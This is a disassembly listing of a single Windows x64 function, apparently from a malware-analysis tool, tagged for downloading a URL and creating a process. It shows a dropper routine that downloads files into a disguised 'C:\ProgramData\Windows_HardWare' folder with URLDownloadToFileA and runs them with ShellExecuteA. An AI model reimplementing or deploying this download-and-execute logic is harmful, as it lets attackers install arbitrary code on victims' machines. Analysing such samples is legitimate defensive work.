Function at 0x140004030
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x14000f040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rbp - 0x11], rcx
mov qword [rbp - 9], rdx
cmp qword [rcx + 0x18], 0xf
jbe 0x14000406a
mov rcx, qword [rcx]
mov r8, qword [rdi + 0x10]
cmp r8, 1
jne 0x140004084
lea rdx, [0x14000abe4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400040b3
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140004091
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, 1
jne 0x14000429a
lea rdx, [0x14000abe4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000429a
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
mov r8d, 0x1f
lea rdx, str.C:ProgramDataWindows_HardWare
lea rcx, [rbp - 1]
call fcn.1400077d0
nop
lea rcx, [rbp - 0x29]
call fcn.140002a30
nop
mov rdx, qword [rax]
add rdx, 0x60
lea rcx, [rbp - 1]
call fcn.140005eb0
nop
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x140004142
mov rdx, qword [rbp - 0x21]
call fcn.1400072b0
mov rdx, qword [rbp - 0x19]
mov rcx, qword [rbp - 0x29]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000413d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000413d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400089e0
lea rcx, [rbp - 0x29]
call fcn.140002a30
nop
mov rdx, qword [rax]
add rdx, 0x40
lea rcx, [rbp + 0x1f]
call fcn.140005fa0
nop
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x1400041ab
mov rdx, qword [rbp - 0x21]
call fcn.1400072b0
mov rdx, qword [rbp - 0x19]
mov rcx, qword [rbp - 0x29]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400089e0
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0xf
cmova rdx, qword [rbp + 0x1f]
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova r8, qword [rbp - 1]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140004206
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova r8, qword [rbp - 1]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140004244
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000423f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000423f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400089e0
movdqa xmm0, xmmword [0x14000ad90]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], sil
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x14000438d
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
mov r8d, 0x1f
lea rdx, str.C:ProgramDataWindows_HardWare
lea rcx, [rbp - 1]
call fcn.1400077d0
nop
mov rdx, rbx
lea rcx, [rbp - 1]
call fcn.140005eb0
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova r8, qword [rbp - 1]
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400042e7
mov rdx, qword [rdi]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x14000434e
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000430a
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, 7
jne 0x140004324
lea rdx, str.cfg.txt
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000434e
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0xf
cmova r8, qword [rbp - 1]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x14000438d
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004387
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004387
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400089e0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1400043c3
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400043be
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004436
mov rcx, r8
call fcn.1400089e0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], recv
mov byte [rdi], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140004408
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140004403
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000443d
mov rcx, r8
call fcn.1400089e0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140008590
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3